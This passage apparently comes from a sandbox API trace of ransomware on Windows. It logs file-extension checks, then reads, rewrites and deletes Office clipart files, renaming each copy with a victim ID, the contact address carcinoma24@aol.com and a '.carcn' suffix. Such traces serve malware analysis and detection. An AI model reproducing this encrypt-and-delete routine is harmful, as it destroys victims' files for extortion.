(lpString=".dbf") returned 4 [0304.073] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0304.073] lstrlenW (lpString=".1cd") returned 4 [0304.073] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0304.073] lstrlenW (lpString=".jpg") returned 4 [0304.073] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.091] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.091] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0304.099] GetLastError () returned 0x0 [0304.099] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x227a, lpOverlapped=0x0) returned 1 [0304.171] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2280, lpOverlapped=0x0) returned 1 [0304.172] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.173] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0304.173] SetEndOfFile (hFile=0x348) returned 1 [0304.173] CloseHandle (hObject=0x348) returned 1 [0304.173] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.173] SetEndOfFile (hFile=0x340) returned 1 [0304.174] CloseHandle (hObject=0x340) returned 1 [0304.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0304.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0304.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0304.175] lstrlenW (lpString=".doc") returned 4 [0304.175] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.175] lstrlenW (lpString=".docx") returned 5 [0304.175] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0304.175] lstrlenW (lpString=".pdf") returned 4 [0304.175] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.175] lstrlenW (lpString=".xls") returned 4 [0304.175] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.175] lstrlenW (lpString=".xlsx") returned 5 [0304.175] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0304.175] lstrlenW (lpString=".ppt") returned 4 [0304.175] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0304.175] lstrlenW (lpString=".zip") returned 4 [0304.175] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.175] lstrlenW (lpString=".rar") returned 4 [0304.175] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.175] lstrlenW (lpString=".bz2") returned 4 [0304.175] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.175] lstrlenW (lpString=".7z") returned 3 [0304.175] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0304.175] lstrlenW (lpString=".dbf") returned 4 [0304.175] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0304.175] lstrlenW (lpString=".1cd") returned 4 [0304.175] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0304.175] lstrlenW (lpString=".jpg") returned 4 [0304.175] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.176] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.176] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0304.176] GetLastError () returned 0x0 [0304.176] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0304.303] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0304.305] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.305] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0304.305] SetEndOfFile (hFile=0x348) returned 1 [0304.338] CloseHandle (hObject=0x348) returned 1 [0304.338] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.338] SetEndOfFile (hFile=0x340) returned 1 [0304.339] CloseHandle (hObject=0x340) returned 1 [0304.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0304.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0304.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0304.340] lstrlenW (lpString=".doc") returned 4 [0304.340] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.340] lstrlenW (lpString=".docx") returned 5 [0304.341] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0304.341] lstrlenW (lpString=".pdf") returned 4 [0304.341] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.341] lstrlenW (lpString=".xls") returned 4 [0304.341] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.341] lstrlenW (lpString=".xlsx") returned 5 [0304.341] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0304.341] lstrlenW (lpString=".ppt") returned 4 [0304.341] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0304.341] lstrlenW (lpString=".zip") returned 4 [0304.341] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.341] lstrlenW (lpString=".rar") returned 4 [0304.341] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.341] lstrlenW (lpString=".bz2") returned 4 [0304.341] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.341] lstrlenW (lpString=".7z") returned 3 [0304.341] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0304.341] lstrlenW (lpString=".dbf") returned 4 [0304.341] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0304.341] lstrlenW (lpString=".1cd") returned 4 [0304.341] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0304.341] lstrlenW (lpString=".jpg") returned 4 [0304.341] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.342] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.342] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0304.343] GetLastError () returned 0x0 [0304.343] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xabad, lpOverlapped=0x0) returned 1 [0304.364] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xabb0, lpOverlapped=0x0) returned 1 [0304.365] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.365] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0304.365] SetEndOfFile (hFile=0x348) returned 1 [0304.366] CloseHandle (hObject=0x348) returned 1 [0304.366] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.366] SetEndOfFile (hFile=0x340) returned 1 [0304.367] CloseHandle (hObject=0x340) returned 1 [0304.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0304.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0304.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0304.368] lstrlenW (lpString=".doc") returned 4 [0304.368] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.368] lstrlenW (lpString=".docx") returned 5 [0304.368] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0304.368] lstrlenW (lpString=".pdf") returned 4 [0304.368] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.368] lstrlenW (lpString=".xls") returned 4 [0304.368] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.368] lstrlenW (lpString=".xlsx") returned 5 [0304.368] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0304.368] lstrlenW (lpString=".ppt") returned 4 [0304.368] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0304.369] lstrlenW (lpString=".zip") returned 4 [0304.369] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.369] lstrlenW (lpString=".rar") returned 4 [0304.369] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.369] lstrlenW (lpString=".bz2") returned 4 [0304.369] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.369] lstrlenW (lpString=".7z") returned 3 [0304.369] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0304.369] lstrlenW (lpString=".dbf") returned 4 [0304.369] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0304.369] lstrlenW (lpString=".1cd") returned 4 [0304.369] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0304.369] lstrlenW (lpString=".jpg") returned 4 [0304.369] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.369] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.369] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0304.370] GetLastError () returned 0x0 [0304.370] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x27d0, lpOverlapped=0x0) returned 1 [0304.397] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x27e0, lpOverlapped=0x0) returned 1 [0304.399] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.399] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0304.399] SetEndOfFile (hFile=0x348) returned 1 [0304.399] CloseHandle (hObject=0x348) returned 1 [0304.399] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.399] SetEndOfFile (hFile=0x340) returned 1 [0304.400] CloseHandle (hObject=0x340) returned 1 [0304.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0304.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0304.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0304.401] lstrlenW (lpString=".doc") returned 4 [0304.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.401] lstrlenW (lpString=".docx") returned 5 [0304.401] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0304.401] lstrlenW (lpString=".pdf") returned 4 [0304.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.401] lstrlenW (lpString=".xls") returned 4 [0304.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.402] lstrlenW (lpString=".xlsx") returned 5 [0304.402] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0304.402] lstrlenW (lpString=".ppt") returned 4 [0304.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0304.402] lstrlenW (lpString=".zip") returned 4 [0304.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.402] lstrlenW (lpString=".rar") returned 4 [0304.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.402] lstrlenW (lpString=".bz2") returned 4 [0304.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.402] lstrlenW (lpString=".7z") returned 3 [0304.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0304.402] lstrlenW (lpString=".dbf") returned 4 [0304.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0304.402] lstrlenW (lpString=".1cd") returned 4 [0304.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0304.402] lstrlenW (lpString=".jpg") returned 4 [0304.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.403] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.403] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0304.404] GetLastError () returned 0x0 [0304.404] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2232, lpOverlapped=0x0) returned 1 [0304.415] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2240, lpOverlapped=0x0) returned 1 [0304.416] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.416] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0304.416] SetEndOfFile (hFile=0x348) returned 1 [0304.417] CloseHandle (hObject=0x348) returned 1 [0304.417] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.417] SetEndOfFile (hFile=0x340) returned 1 [0304.418] CloseHandle (hObject=0x340) returned 1 [0304.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0304.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0304.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0304.419] lstrlenW (lpString=".doc") returned 4 [0304.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.419] lstrlenW (lpString=".docx") returned 5 [0304.419] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0304.419] lstrlenW (lpString=".pdf") returned 4 [0304.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.419] lstrlenW (lpString=".xls") returned 4 [0304.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.419] lstrlenW (lpString=".xlsx") returned 5 [0304.419] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0304.419] lstrlenW (lpString=".ppt") returned 4 [0304.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0304.419] lstrlenW (lpString=".zip") returned 4 [0304.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.419] lstrlenW (lpString=".rar") returned 4 [0304.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.419] lstrlenW (lpString=".bz2") returned 4 [0304.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.420] lstrlenW (lpString=".7z") returned 3 [0304.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0304.420] lstrlenW (lpString=".dbf") returned 4 [0304.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0304.420] lstrlenW (lpString=".1cd") returned 4 [0304.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0304.420] lstrlenW (lpString=".jpg") returned 4 [0304.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.427] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.427] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.074] GetLastError () returned 0x0 [0305.074] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xe392, lpOverlapped=0x0) returned 1 [0305.082] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0305.084] ReadFile (in: hFile=0x340, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, 